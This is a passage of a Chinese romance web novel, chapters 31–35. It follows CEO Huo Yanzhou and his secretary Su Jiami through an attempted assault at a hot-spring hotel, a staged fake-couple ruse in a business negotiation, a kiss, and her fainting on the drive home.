被考察的公司老总叫董奕,他殷勤地给霍砚舟倒酒。 霍砚舟指了指桌面,“再给她点一份那个。” 苏嘉觅没注意二人说话,直到一盘新出锅的荔枝樱桃肉端到了她的面前,她还有点诧异。 每次桌子转过来,她就多夹两筷子,没想到这位董总这么有眼力见儿,给她又上了一道她喜欢的菜。 霍砚舟见苏嘉觅笑着吃得满足,嘴角勾了勾。 酒足饭饱后,董奕给公关经理使了个眼色,准备了第二趴。 那公关经理是个年轻男人,很有几分眼色,“霍总,我们这边的温泉很有特色,您和苏秘书过去泡泡?” 霍砚舟颔首,“好。” 到了温泉酒店,苏嘉觅才知道此行的妙处,尤其是女士汤泉,独立包厢,玫瑰牛奶汤,养肤美颜。 霍砚舟却心里起了疑,他询问董奕老家是哪里人。 董奕笑着说,“我老家青城的。” 霍砚舟知道云水镇的特色是地方的搓澡推油服务,但女士汤泉都是阿姨提供服务,这里怎么会有东南亚的男服务员提供按摩? “你的公关经理是哪里人?” 霍砚舟眸色阴狠了几分。 董奕有些懵,还是直说,“他是京城坐地户,叫封阳。他跑通勤,一周回去一趟。” 霍砚舟拎过浴袍套在身上,他从一旁的置物篮拿过手机,就看到苏嘉觅之前发给他的微信。 他点开,她在车里还谢谢他。 霍砚舟眉心一凛,阔步去了苏嘉觅所在的包厢,里面传来女人惊恐的尖叫声...... 第31章 霍砚舟:别害怕,我在这! 霍砚舟拉开门,就见两个东南亚男人正对苏嘉觅动手动脚。 他阔步过去,拎过一个上身赤裸,下身围着浴巾的男人,冲脸就是一拳,男人吃痛地被掀翻在地。 霍砚舟又拽过另一个,还以一记窝心脚。 他带来的保镖听到动静一拥而上,将两人好一顿揍。 霍砚舟扯过一旁的浴袍将苏嘉觅裹好,将人抱了起来,“别怕!” 苏嘉觅脸色惨白,抖得如筛糠。 霍砚舟望了一眼怀里的女人。 他声音犹如淬了一层冰,“去把那个公关经理封阳抓过来。” 保镖得令去提人,倒是吓坏了董奕。 他没想到安排在温泉酒店的招待竟然惹出这乱子,那苏秘书的身份显然不单单是霍砚舟的秘书,八成是他女人,这不是撞枪口上了吗? 霍砚舟将苏嘉觅抱到了新开的总统套房。 他发现苏嘉觅一路都无话,人僵硬得要命,他的心被眼前的女人给揪紧了,隐隐胀痛。 霍砚舟将人放在床上,“别害怕,我在这呢!” 苏嘉觅身上穿着安全裤和内衣,浸湿的短袖,她衣着完好。 她抱着腿怯怯地看向霍砚舟,“是陆北找的人!” 霍砚舟也没想到陆北竟然找人在云水镇动手,他将黎骋留在京城盯着陆北,却没想到真正的危险在他带她出差的目的地。 他大掌抚过苏嘉觅的肩膀,却见她瑟缩地躲开,他收回手。 “我去处理那几个杂碎,”霍砚舟拍了拍苏嘉觅的脑袋,“把门反锁,等我回来。” 苏嘉觅目光呆滞地望向霍砚舟,木讷地点点头。 霍砚舟目光沉沉地离开。 苏嘉觅抬眸看向男人挺括宽厚的肩膀,像是为她扛起了一面阴霾的天空... 另一边,包房内已经拘着人。 霍砚舟推门进来,抱头蹲在地上的三个男人抬眸看向他。 三人不自主地吞咽口水,胆寒心颤。 男人穿着浴袍,脚上踩着酒店的拖鞋,身躯高大挺拔,半干的头发拢后,精致轮廓的脸庞凝着一层寒霜。 敞开的浴袍,清晰可见他胸肌线条流畅精干,张力喷薄。 只是那双寒凉沁霜的眼睛透着狠厉无情。 霍砚舟勾唇,“动我的人,想过后果吗?” 公关经理封阳见霍砚舟盯着他,他鼻青脸肿地哀求,“霍总,不是我。” “是陆北?” 霍砚舟走过去,大喇喇地坐在三人对面,他拢了一下湿发,微抬下巴示意身旁的保镖。 保镖过去揪过封阳跪在霍砚舟的对面。 霍砚舟嫌恶地掴了封阳一巴掌,“法治社会,你跟我玩这套?” 他轻嗤,“我的私人律师能让你牢底坐穿。” “别,我说,真是陆北让我干的。” 封阳说他以为找东南亚人就能万无一失,谁能查到他和陆北的头上,可霍砚舟似乎就没怀疑过别人,直接断定和他与陆北有关。 霍砚舟,“就这些?” 封阳干咽了一口说了事情的经过,“他答应给我五十万,让我找人玩了苏嘉觅。我和他算是发小,小学和初中一起念的。” 霍砚舟挠了挠眉尾,他总觉得这件事有蹊跷,这封阳招的太快。 他跟身边的保镖说,“报警。” 霍砚舟拿过一旁的毛巾甩了甩封阳的脸颊,“跟警察要如实说。” 不多时,当地派出所的警察给霍砚舟也做了笔录,董奕也做了笔录,两人算是目击证人。 至于当事人苏嘉觅,霍砚舟将抽一半的烟按死在烟缸里。 “她情况不太好,我明天带她去做笔录。” 民警看了一眼气质卓然的男人,颔首,“好,你是受害者的...?” 霍砚舟垂眸,“男友。” 董奕听此,绝望地闭了闭眼。 若是,霍砚舟说是苏嘉觅的老板,出了这事儿也不会太迁怒他和他的公司。 可霍砚舟说是苏嘉觅的男友,那两人的关系亲密,他就要想办法压下霍砚舟的震怒。 而后,民警将人带走,转交刑警队。 霍砚舟则目光沉沉地剔了董奕一眼,“我们明天再谈。” 董奕目送穿着睡袍离去的男人,他擦了擦额头上的汗。 到了总统套房,霍砚舟按了门铃。 须臾才传出苏嘉觅细小的声音,“是谁?” “我,霍砚舟。” 霍砚舟见苏嘉觅裹紧睡袍打开门,看到他的一刹那,她眼中有泪。 “好点没?” 苏嘉觅点了点头,抱着手臂回到床上。 霍砚舟关好门,看向状态不好的苏嘉觅,“晚上你睡里间。” 言外之意——睡一觉就好了。 苏嘉觅鼻子发闷,哑声,“谢谢霍总。” 霍砚舟头次见苏嘉觅这副样子,他说不出来什么感觉,他更适应时不时秀秀小爪子挠人的苏嘉觅。 他走过去,“刚才的人,我绝不会放过,你别难为自己。” 苏嘉觅点点头。 没人能理解她此刻的心情与感受,她觉得周身发冷,对陆北满是恨意。 她切切地问,“是不是他?” 霍砚舟点头,“封阳指认他,京城那边的警方已经去抓人了。” 苏嘉觅频频点头,“他该抓!” 忽而,她声嘶力竭地喊,“他该死,他卑鄙无耻!” 一个与她在一起六年的男人知道她最脆弱的防线,冲着这一点下手,可以说是卑劣至极。 看着情绪几近崩溃的苏嘉觅,霍砚舟走过去将人抱紧,“苏嘉觅,你冷静一点。陆北就想看到你崩溃,你不能让他得逞。” 苏嘉觅的手死死地抓住霍砚舟后衣襟的布料,“我不能崩掉,我得为自己活...我还没找到我妈,我不能犯病。” 霍砚舟轻轻拍着苏嘉觅的脊背,让她调整呼吸。 夜里,霍砚舟本来睡在外间,可里间的苏嘉觅一直开着灯,在里面来回的踱步。 他担心苏嘉觅想不开,索性就推门进去。 “你还睡不睡?” 刚上床,瞪着眼睛看天花板的苏嘉觅哑声,“想睡,但是...我有点害怕。” 霍砚舟冷峻的表情显出无奈,他走过去,“我陪你?” 苏嘉觅咬着嘴唇,看向霍砚舟,“你是男的!” “抵触我?” 霍砚舟轻笑,“我除了性别,哪跟他们一样?” 他指着苏嘉觅,“要不是怕你想不开,我管你睡不睡?” 苏嘉觅顿了顿,掀开了被子。 霍砚舟有一瞬的呆滞,他攥紧了手,走过去,躺下。 他似笑非笑地说,“我之前寻思你晚上多吃点,有力气叫,现在...” 原来,那盘荔枝樱桃肉是霍砚舟给她加的。 为了是让她晚上好好演,只是演给谁看? 苏嘉觅心里松弛几分,转身看向霍砚舟,“你想演给谁看?” 第32章 情动,他吻了她! 霍砚舟将他的“谋划”一五一十的告诉了苏嘉觅。 原定明天去考察,他要故意跟苏嘉觅“疯”一晚上,晚起床,作出一副随意到云水镇玩玩的样子,而不是过来谈合作。 就要给董奕一种假象! 董奕为了与霍砚舟合作,他势必拿出最大的诚意,这有利于霍砚舟压低合作价。 苏嘉觅听完翻了个白眼,“无奸不商啊,霍总!” 她冷嗤,“我吃个菜,都是你play里的一环。” 霍砚舟翻身,侧身躺在苏嘉觅的对面,温和地看着她。 他勾唇,“经商,你还嫩了点。” “我学到了,”苏嘉觅心里渐渐松泛,畅想着以后,“以后我自立门户,也可以跟自己的男秘玩这出宫心计。” “男秘?” 霍砚舟神情僵冷,他伸手戳苏嘉觅的脑门,“你可真有出息。” 想到这,霍砚舟脑中闪过他给了苏嘉觅不菲的补偿后,她的确变成了名副其实的富婆,她可以养男秘书,还能与小几岁的弟弟谈恋爱。 他绷直了嘴角,“睡了!” 苏嘉觅伸出手指了指霍砚舟,“霍总,你故意跟我说这些,是为分散我注意力?” 霍砚舟顿顿,白了苏嘉觅一眼,“自作多情,我是睡不着,随便说两句。” 话音落,他翻身。 苏嘉觅心情好了一点点,没那么紧绷了。 她抿唇,起身,小声调侃霍砚舟,“谁能想到霍总还是个死傲娇?” 霍砚舟见苏嘉觅有“活过来”的迹象,他转头想将她挥倒,却意外碰到了她的嘴唇。 苏嘉觅赶紧捂住嘴。 霍砚舟盯着苏嘉觅捂着娇俏红润的小脸的模样,他鬼使神差地扯掉她的手,探身含住了她的唇瓣。 他大手扣住苏嘉觅的后脑勺,另一只手箍紧她的腰肢,让她贴紧自己,从浅入深,她被他吻得喘不过气。 空气中多巴胺和荷尔蒙蔓延四散。 霍砚舟吻的霸道,凶狠,渐渐忘了自己的初衷,他沉溺在她温软的唇瓣与口腔的馨香之中。 几次,他可以趁着给苏嘉觅换气停下来,可他没有,反而加深了吻,缠绵至深,他将被亲软身子的苏嘉觅安置在怀里抱紧,承受他的霸蛮亲吻。 忽而,急促的手机铃声响起,是霍砚舟的手机。 他猛地回神推开了苏嘉觅,他整理睡袍起身往外走。 苏嘉觅怔忪片刻,她摸了摸自己的嘴唇。 她被霍砚舟强吻了! 室外,霍砚舟胸腔起伏,热欲翻腾,他走过去拿起手机,是杳杳的电话。 他沉吟片刻,挂断了电话。 霍砚舟疾步去了洗漱间,在洗脸池用冷水洗了脸。 他看着镜中脸上水珠,捋一把脸上的水。 霍砚舟不明白他刚才怎么会那样对苏嘉觅? 霍砚舟觉得他太心急了,对,是太急了! 房间内,苏嘉觅拢着被子,脸上火烧火燎地发烫。 要是以往有哪个男人这样对她,她早一巴掌呼过去了,可她刚才怎么就无动于衷了? 她直觉告诉她,若是霍砚舟主动撩骚,大多数女人都抵挡不住,只不过他眼光高,不肯自降身份。 苏嘉觅觉得方才被他肆意摆布,有些气闷。 这时,霍砚舟去而复返。 他沉静地敲了敲门板,“别误会,我单纯做个试验。” 苏嘉觅躺在那,没动,也没说话。 霍砚舟干咽了一口又解释,“怕你经过这一遭,抵触我,无法胜任做我假情人。” “我没事儿。” 苏嘉觅酥酥麻麻的心渐渐归于沉静,她缓声,“只是我陪霍总出差遭险,您是不是得补偿我?” 霍砚舟眉心紧皱,脸色阴沉得几乎能滴下水来。 他沉声,“明天忙完,我带你出去转转。” 苏嘉觅裹着被子,露出一个脑袋的她咬了下嘴唇,单刀直入,“我想要钱!” “没有!” 话音落,霍砚舟一怔,他气闷地摔上了门。 咣当一声,吓了苏嘉觅一跳。 门外,霍砚舟抬手摸了摸自己的嘴唇,神情有些局促,可很快又春风得意。 苏嘉觅听到外间霍砚舟的电话再次响起,他接起后去了书房。 她将被子推向了头顶,埋下身体诚实的悸动,回归平静。 第二天,霍砚舟陪着苏嘉觅去做了笔录,而董奕人也跟了过去。 苏嘉觅在接待室接受民警的询问。 接待室的门敞着,霍砚舟与董奕坐在外边的椅子上。 董奕想跟霍砚舟聊些生意上的事情,可他交叠双腿,目光落在苏嘉觅身上,很漫不经心。 “霍总,您一会儿到我公司和工厂看看?” 霍砚舟松了领带,所答非所问,“云水野生动物园离这远吗?” “啊?” 董奕一脸错愕。 霍砚舟微抬下颌,意指苏嘉觅,“昨晚她没睡好,我带她散散心。” 董奕紧张地搓了搓手,“霍总,野生动物园倒是不远,可咱们说好的,今天去我厂里视察,我都准备好了。” 恰巧苏嘉觅做完笔录出来,霍砚舟起身,他整理下西装外套的前襟,“这生意没她重要。” 董奕看着面容英挺,气质勃发的男人阔步走去牵过心爱女人的手,垂眸安慰她。 他无奈地按按眉心,转身跟一旁的秘书说,“赶紧去给苏秘书多买些礼物,让她吹吹枕边风,把霍总多留一天。” 苏嘉觅以为霍砚舟带她去董奕的公司,结果车一路开到了云水野生动物园。 “霍总,咱来这做什么?” 霍砚舟勾唇,“之前答应你的,带你看雄鹰。” 苏嘉觅被噎住,神情莫名地望向霍砚舟,心里嗤笑这外表高冷的霍砚舟挺疯的。 董奕跟了过来,鞍前马后地伺候霍砚舟和苏嘉觅两人,买水,买冰淇淋还要给苏嘉觅买粉红色的心形气球。 霍砚舟挠了挠眉尾,意味不明地嗤笑,“董总,我女友,我自己会哄。” 董奕讪笑,“是我多余了。” 话音落,霍砚舟扫码买了个粉红色的心形气球给苏嘉觅。 苏嘉觅上次收到气球还是很小的时候,记忆中,是她坐骑在一个高大男人的肩头,手里捏着气球。 霍砚舟拉过她的手,将绑气球的细线绕系在她的手腕上。 苏嘉觅怔怔地看着霍砚舟,他抬眸迎接她的眼波,过来抵着她柔嫩耳根,轻笑,“苏秘书,我陪你去看雄鹰?” 她羞怯地回怼,“霍总,咱能不记仇吗?” 男人闷笑,牵着她的手坐观光车去了鹰园。 苏嘉觅看着伸开翅膀的鹰,觉得有些恐怖,霍砚舟则接过董奕递上来的喂鹰的鲜肉和防护手套。 霍砚舟戴好,拿肉喂鹰,毫无惧色。 苏嘉觅则往后退了两步。 霍砚舟想让苏嘉觅试试,可她躲得远远的。 “你自己说你男人像雄鹰,你还怕。” 苏嘉觅又退了两步,指着张开双翅有3米长的老鹰说,“我真怕,它太大了。” 董奕明白霍砚舟与女人的调情点,他轻笑,“原来,苏秘书是怕大的。” 男人说荤话,都不觉得有问题。 只有苏嘉觅脸色泛红,她冷嗤,“一个死德行。” 话音落,她转身走。 霍砚舟耸肩,对董奕苦笑,“生气了。” 他快步跟上去,低声说,“你不跟着我就拿不到礼物了。” 第33章 苏秘书的枕边风 苏嘉觅没听懂霍砚舟说什么。 他忽而将苏嘉觅拉近,抵住她柔嫩的耳根,“董奕的秘书给你准备礼物去了。” 苏嘉觅指了指自己,“给我?” 她转了一下整件事,看向眼前一肚子心思的男人。 苏嘉觅莞尔一笑,“让我给你吹枕头风?” 霍砚舟知道苏嘉觅聪明,果然一点就通。 苏嘉觅也明白霍砚舟这种不轻易自降身份的男人根本不会在意这些小恩小惠,但他乐意接受,借花献佛,是为了哄她。 她心头一颤,看向霍砚舟的眸光暖绒带光。 霍砚舟淡声开口,“举手之劳。” 果不其然,从野生动物园出来,董奕的秘书对苏嘉觅格外殷勤。 霍砚舟领着董奕走在前面,全然不知情的模样。 中午吃完饭,霍砚舟又带着苏嘉觅去打高尔夫。 董奕瞪了秘书好几眼,他低声问,“你东西送哪去了?” 秘书擦了一把汗,“送酒店房间去了,苏小姐那边,我已经挑明了。” 他低声抱怨,“这不还没到晚上嘛?估计她还没来得及哄霍砚舟。” 董奕按了按眉心,冷声命令,“留不住这尊财神爷,你就收拾东西滚蛋。” 高尔夫球场的草地上,苏嘉觅穿着灰色的短裤,白色Polo衫短袖,撑着球杆看霍砚舟挥杆进球。 霍砚舟似笑非笑,“不会玩?” 苏嘉觅摇头,“太烧钱,玩不起。” “我教你!” 霍砚舟走过来,从苏嘉觅伸手抱住她,两手握住她的手,她瞬间感受到他身上灼热的烫意。 苏嘉觅脸烧得发热。 “想学,就要专心点儿!” 霍砚舟低声耳语,像极了恋人间的呢喃。 苏嘉觅依旧僵硬,可霍砚舟已经握手发力,挥出一杆。 董奕张望,见球进洞,马上过来拍霍砚舟的马屁,“霍总球技了得,一杆进洞。” 拖腔拿调的“一杆进洞”透着荤话的不正经。 霍砚舟安抚脸红透着粉的苏嘉觅,“学会了,好调你将来的男秘书。” 苏嘉觅苦涩一笑,心想他怎么还记得她说的话。 霍砚舟捏紧她的手,哂笑,“再来把一杆进洞?” 话音落,又开出一球。 那白色的小球像是接受了命令滚进了洞里。 “别说,我挥杆还挺有准头儿,又进去了!” 霍砚舟平静无波的话带着笑音,却听不出荤。 可苏嘉觅还是脸红了一层,她心里嗤笑——嘴巴上的巨人,行动上的矮子,你爱怎么说怎么说! 董奕看在眼里,忍笑。 霍砚舟这种既高冷又自带欲气横流气质的男人,别说女人,他一个男人都觉得很迷人。 苏嘉觅被霍砚舟教了一会儿,就已经能打出不错的成绩了。 看着兴致勃勃的苏嘉觅,霍砚舟坐在伞下,接过董奕递过来的湿毛巾擦了擦手。 董奕轻咳,“霍总,苏小姐今天玩得尽兴,要不我们明天再去我厂里转转?” 霍砚舟修长的手指拎着黑色的墨镜腿,“再说吧!” 话音落,他起身去找苏嘉觅。 董奕一筹莫展,将说服霍砚舟多留一天的希望都寄托在了苏嘉觅的“枕边风”上了。 夜里,吃完夜宵的苏嘉觅才同霍砚舟回到酒店。 她吃喝玩乐一天,累却高兴,让她从昨天阴霾里挣脱出来。 进了房间,霍砚舟按了按脖颈。 就见房间的沙发和茶几上堆满了礼品,有包包、香水、燕窝、花胶还有当地的零食。 苏嘉觅也诧异,“这么多呀?” 霍砚舟脱掉西服外套,散着的领口露出线条流畅的锁骨,圆润的喉结,光是看看就觉得性张力拉满。 苏嘉觅赶紧垂眸拆礼物。 霍砚舟不疾不徐地说,“人家的东西你收了,晚上叫得卖力点。” “又要叫?” 苏嘉觅将一个鳄鱼皮的白色LV包扔在旁边,“不想叫。” 霍砚舟去了洗漱间,嘴角上扬,“由不得你。” —— 睡觉前,苏嘉觅在室内的可视屏里看着董奕的秘书在门口来回的转悠。 她除了觉得霍砚舟算无遗策,就是觉得这男人太闷骚,太狗了。 他不费任何力气可以促成明天的低价合作,还能让她的“付出”由董奕那边买单。 “奸商!” 苏嘉觅咬着嘴唇,“奸狗男。” 霍砚舟倚着墙壁,大声又直白,“苏嘉觅,回来睡觉。” 苏嘉觅见可视屏里董奕的秘书瞬间贴到了门口。 她愤懑地转身瞪了霍砚舟一眼。 霍砚舟却关了灯。 黑暗中,苏嘉觅像是听到了男人的闷笑声。 苏嘉觅学习能力强,体现在方方面面。 黑暗中,她倚着床头,捏着当地的零食话梅瓜子,边吃边哼唧。 听得人心里起毛毛,痒得人发紧,霍砚舟躺在那觉得哪哪都紧绷。 他起身拿过手机在那刷,却有些恍惚,耳边是苏嘉觅不走心却勾肾的靡靡之音。 忽而,他手机来了电话,是他母亲。 一晃神,手滑的霍砚舟竟接通了。 “砚舟,你那边什么声音...你和苏小姐在一起?” 霍砚舟耳尖泛红,“妈,是...电视。” 霍夫人讶异,“你竟然看这种东西?” 霍砚舟羞愤,他赶紧下床开门对苏嘉觅喊道,“闭嘴,别叫了!” 苏嘉觅吐了瓜子皮。 她又大声呻了几声才不耐烦地说,“不是你得先停下吗?” 电话那端的霍夫人乔映紫老脸通红,“砚舟,你有空把苏小姐带回家里玩。” 乔映紫挂断了电话。 霍砚舟正要出声教训苏嘉觅,就见她拍了拍手,吐了瓜子皮,“叫完收工!” 他重锤擂到棉花上,摔门进了里间。 霍砚舟刚躺下,电话又打了过来。 “杳杳,这么晚了,你还没睡?” 霍云杳嘤嘤如诉的声音传来,“三哥,刚大伯母来了,说你有了女朋友,而且...你们同居了。” 她抽噎,“是真的吗?” 霍砚舟压低了声音,“是。” “三哥,我不要你为了我做到这个地步,”霍云杳声音悲戚,“她就是那个合适的人?” 霍砚舟面容变得清冷异常,透着果毅,“你别多想,好好养身体。” “三哥,你的心还在我这,对吗?” 霍云杳的声音小心翼翼却柔情似水。 霍砚舟按了按眉心,轻声软语,“太晚了,你休息吧!” 霍云杳哑声,“我一定会好起来的。但是你得答应我,不能对她动心。” 霍砚舟一阵心慌,他想到昨晚他主动吻了她。 “三哥?” 霍云杳听不到回答,急急地问。 霍砚舟眉心微蹙,“早点睡,我挂了!” 挂了电话,他焚了一支烟坐到阳台的单人沙发上。 袅袅而上的烟气,让他想起他与霍云杳小时候的事,他哪里想到一同被拐的小女孩会以另一种身份介入他的生活,成了他无血缘关系的堂妹。 他猛吸了几口烟,觉得烟有些呛人,他伸手按死在烟缸里。 苏嘉觅此时敲门探身进来。 “报告霍总,董奕的秘书走了,我圆满完成任务。为了表示你我二人度过了一个餍足的晚上,明天,我是不是可以睡到自然醒?” 霍砚舟看着眼前的苏嘉觅,怔然出神。 第34章 牵动霍总心情的女人是谁? 苏嘉觅瓷白莹润的小脸满是期待,那双杏核眼却尽是狡黠,看似询问他的意见,其实她早就明白他的计划,过来求心安。 “不要日上三竿。” 霍砚舟寒凉的眸子闪过一丝无奈,他摆手让苏嘉觅出去。 苏嘉觅会心一笑,“收到,霍总晚安!” 轻手轻脚地带上门,再次陷入黑暗之中的霍砚舟有那么几瞬的无所适从,他似乎不讨厌苏嘉觅带着明朗的聒噪。 第二天,苏嘉觅是被十点钟的《财神到》闹铃吵醒的。 她睁眼就见不远处霍砚舟正凝视着她,她睡姿不太雅观,抱着被子,一条腿骑在被子上。 “你很缺钱?” 霍砚舟嗤笑一声,就垂眸整理袖扣。 他方才盯住了苏嘉觅的腿,修长白皙,有让人握在手里把玩的冲动,至于软润的脚踝骨和好看的脚也很养眼,都勾人。 苏嘉觅按灭了手机闹铃,打了哈欠,“钱,这玩意儿,多多益善,谁不缺?” 霍砚舟挑眉望了苏嘉觅一眼,没说话。 苏嘉觅自觉失言——霍砚舟就不缺钱。 “收拾下,跟我去董奕的公司。” 霍砚舟捏着领带两端走到镜子前打领带。 苏嘉觅觉得霍砚舟的好身材很顶,宽肩窄腰,脊背硬朗,挺招人喜欢,只是他眼下乌青,像是一晚没睡好。 霍砚舟睨了一眼镜中映着苏嘉觅坐在那看他发呆的样子。 “苏秘书,看够了吗?” 苏嘉觅赶紧下床,拢起长发去了另一间洗漱间。 二人打理好到了楼下,董奕的秘书已经领着人等在了楼下。 他笑得谄媚,“霍总,苏小姐,我们董总在公司安排了丰盛的早餐恭候二位莅临。” 霍砚舟菲薄的嘴唇没有笑意,“不吃了,直接去公司会议室。” 苏嘉觅翻了白眼,心想霍砚舟一大早就是低气压。 不知道昨天晚上谁的电话让他受了气,她也只能陪着他饿肚子。 到了车上,霍砚舟没话说,自顾自地翻看董奕秘书递上来的材料。 苏嘉觅也想了解下董奕的公司,他看过的,她也捡过来看。 坐在副驾驶的秘书有点懵,看着霍砚舟不太高兴的样子,难道是昨晚没能与苏嘉觅尽兴? 不应该呀,他听得真切不说,关键霍砚舟没回京城,留下来考察他们公司了。 他觑了一眼苏嘉觅,平和从容,和昨天没两样,他心也渐渐放了下来。 到了会议室,霍砚舟听了董奕的汇报,全程不苟言笑,极其认真,而后又去了董奕的工厂实地考察。 霍砚舟的专业素养让苏嘉觅折服,但她也真切地感受到霍砚舟不高兴,像是被某件事困扰,因某个人伤情一般。 到了最后谈合约的时候,霍砚舟将商界阎罗的一面彻底露了出来,稳准狠地找出对方应该再进一步的空间,杀伐果决的还价,一锤定音地拍板了最终合作价。 一轮谈下来,霍砚舟风轻云淡,董奕汗流浃背。 最后,签字盖章时,苏嘉觅都能感觉到董奕的纠结与无奈,可霍砚舟的创科国际,是他最优的选择。 签约仪式一过,董奕笑着留人。 “霍总和苏小姐,晚上再留一晚,让我尽下地主之谊?” “不了,我公司有事。” 霍砚舟直接婉拒,上了车。 苏嘉觅体面地与董奕寒暄,“董总,以后就是合作关系了,霍总还会过来的,到时候再聚不迟。” 董奕觉得苏嘉觅真是个妙人,人美,心善,还会做人。 他笑着迎合,“下次苏小姐过来,我一定找个更好玩的地方招待你。” 霍砚舟等在车里,他不耐烦地按下车窗,“苏秘书,上车。” 董奕赶紧冲霍砚舟招手,他拉开后车门小声说,“快上车吧,霍总等急了。” 苏嘉觅弯腰上车,就见霍砚舟目光幽深,神情冷肃,像座可移动的冰山。 她冲他笑笑,他冷声,“开车!” 一路上,霍砚舟都闭目养神。 苏嘉觅看了一会儿手机,她凑过去小声问,“霍总,你怎么了?感觉你全天都不太高兴。” 霍砚舟睁开眼睛盯着苏嘉觅。 “管好你自己,不要窥探我的私事。” 话音落,他又闭上了眼睛。 苏嘉觅咬了下嘴唇,觉得自己刚才的关心确实越界了,属实不应该。 人家霍砚舟是她的老板,又不是她的什么人,真没必要关心他的情绪。 她不是爱管闲事儿的人,她一度觉得是因为那晚他的亲吻才让她方才变得“没出息”。 苏嘉觅没再说话。 车内落针可闻。 刚进北城,睡熟了苏嘉觅翻了个身,她紧紧地皱着眉,脸上尽是薄汗,看样子似乎不舒服。 霍砚舟早就醒了。 他察觉她的难耐,伸手探了一下她的额头,冰凉沁着冷汗。 “苏嘉觅,你醒醒!” 霍砚舟摇醒了苏嘉觅,他沉声,“不舒服?” 苏嘉觅小腹坠胀,整个人恹恹的。 忽而,一股暖流袭来,苏嘉觅神情僵冷,嘴唇发白。 她知道她的大姨妈提前来了。 “霍总,我来那个了,”苏嘉觅偏头看了一眼窗外,“在加油站的便利店停一下,我去买点东西。” 她生理期? 霍砚舟扫了一眼苏嘉觅坐的位置。 他无语地按了按眉心,“你怎么什么都能忘?” “没忘,是提前了。” 苏嘉觅尴尬的回应,声音细柔。 霍砚舟见她倚着车门,穿着白色紧身连衣裙不敢动的她看上去楚楚可怜。 到了便利店,霍砚舟本想让司机停车去给苏嘉觅买卫生巾。 可话到嘴边,又觉得让他的司机给他的“女友”买这玩意说不过去。 他推门下车,迈着大长腿进了便利店。 苏嘉觅丢人丢到了家,唉声叹气。 不多时,霍砚舟拎着黑色的袋子,沉着脸回来了。 他将东西递给苏嘉觅,“要去洗手间?” 苏嘉觅点头。 霍砚舟脱下西服外套,“下车。” 苏嘉觅一下车,霍砚舟就将外套围在了她的腰间,“苏嘉觅,我希望这是最后一次。” 她见霍砚舟神情尴尬有愠色,不好意思地道歉,“对不起霍总,这次真的谢谢你。” “快走吧!” 霍砚舟双手抄兜,他冷嗤,“我完全是靠着修养硬撑的。” 苏嘉觅想笑,又没心情,她赶紧去了洗手间。 霍砚舟扫了一眼车座上的血迹,从西裤口袋里拿出手帕擦掉了,将手帕扔进了一旁的垃圾桶。 他回身叮嘱司机,“回去洗车。” 司机和保镖像看怪物一样看着霍砚舟。 他们老板难得的好脾气都给了苏秘书,内心暗叹——苏秘书真的很厉害,留男人的身心在她那是很有一套。 过了许久,苏嘉觅都没出来。 霍砚舟倚着车门抽烟,正等得不耐烦。 就见便利店的员工跑了出来,“里面昏倒的女人是不是和你们一起的?” 第35章 霍砚舟回床率为零 见到苏嘉觅的时候,她脸色苍白,细密的冷汗浸透了她的白色衣裙。 霍砚舟赶紧过去将她扶起,加油站员工医务室的人也过来查看她的情况。 “她正在生理期!” 霍砚舟抱着快要碎了的苏嘉觅,直觉胸腔发闷。 工作人员,“你女友这个样子应该是低血糖引起的,减肥没吃饭?” 霍砚舟觑向怀里的苏嘉觅。 早上他没让她吃,中午她也没吃什么,就与他一道回来,是他的错。 医务室的工作人员在便利店里找了一瓶含糖量很高的巧克力奶昔饮品递给霍砚舟,“想办法让她喝点,我这只能简单处理外伤,打不了葡萄糖。” 霍砚舟接过饮料,阔步抱着苏嘉觅回到车上。 “开车,去最近的医院!” 低血糖若是引起休克是有生命危险的,耽误不得。 “苏嘉觅?” 霍砚舟叫不醒苏嘉觅,他拧开奶昔的瓶盖,含了一口,揽过苏嘉觅,撬开她的唇齿,嘴对嘴将奶昔喂到她口中。 保镖回头偷瞄了两眼,心想他们老板什么时候对女人这么上心了? 霍砚舟循环往复喂她了半瓶的奶昔。 他用手背抹了一下嘴,又轻声地叫人,“苏嘉觅?醒醒!” 快到医院的时候,苏嘉觅悠悠转醒,就见霍砚舟目光关切地看着她。 “醒了?” 霍砚舟吩咐保镖,“直接去急诊。” 苏嘉觅扯住霍砚舟的手,没什么力气地说,“不用,我回去躺会儿就好了。” 霍砚舟没想到苏嘉觅年纪轻轻就把身体不当回事。 他冷声,“不行,要去医院。” 苏嘉觅摇头,“我有低血糖的毛病,包里常年备着巧克力。” 霍砚舟敛下眼眸,他还不够了解苏嘉觅,至少不清楚她身体的状况。 “等好了,你要做个全身检查!” 苏嘉觅没吭声,她闭着眼睛擦了一下唇角,“你喂我喝的什么?” “巧克力奶昔。” 霍砚舟面上一哂,没再多说。 苏嘉觅靠在车窗旁,闭着眼睛,脸上渐渐有了血色,可人还恹恹的。 霍砚舟发信息让黎骋订粥送到他那,还叮嘱其买红糖。 到家后,苏嘉觅清理一下就躺在了床上。 她拿过手机想给自己订点粥,就见霍砚舟端着碗进来,“过来喝粥。” 苏嘉觅惊讶于霍砚舟的细心,她起身看着他。 “想让我喂你?” 霍砚舟看了一眼苏嘉觅的手,“手也伤了?” 像霍砚舟这样的男人不会伺候人,只会被伺候,苏嘉觅怎么可能期待他照顾她,她只是惊讶于他会为她准备粥。 苏嘉觅接过粥碗,是红糖小米粥,里面还有两颗红枣。 她看向霍砚舟,他穿着白衬衫,身姿挺括,双手抄兜地站在那。 苏嘉觅诧异于霍砚舟的细心,但也意外他竟然懂女孩子生理期喝红糖粥这事儿。 可她没再说什么,之前在车里,他因她越界问了不该问的话而不高兴。此刻,她什么都不会问。 她勾唇,“谢谢霍总。” 霍砚舟垂眸,“你之前这样,是陆北照顾你?” 陆北照顾过,但次数不多,他更喜欢把时间投进工作中去,她多数都是自己在家躺着。 苏嘉觅还没回答,陆北的电话就打了进来。 她诧异于陆北没被拘留,他竟然还能给她打电话? 霍砚舟轻笑,“你挺有容人之量,还没拉黑?” “他怎么还在外边?” 苏嘉觅有点质问的语气。 霍砚舟眉宇冷肃,微微蹙起,“先听听他怎么说。” 他竟这么说,难道他知道陆北的事? 苏嘉觅接起电话。 陆北的声音从里面传了过来,“苏嘉觅,找人对付你的事,不是我做的。我至少不会用那么卑劣的手段!” “不是你?谁信呢?” 苏嘉觅听到陆北的声音,已经波澜不惊。 她讥诮,“封阳都交代是你指示的了,只能说冷家给你请的律师不错。” 陆北声音发颤,“苏嘉觅,我们见一面,我有话对你说。” “我没话与你说!” 陆北还要再问两句,苏嘉觅却挂断电话,又将他拉黑了。 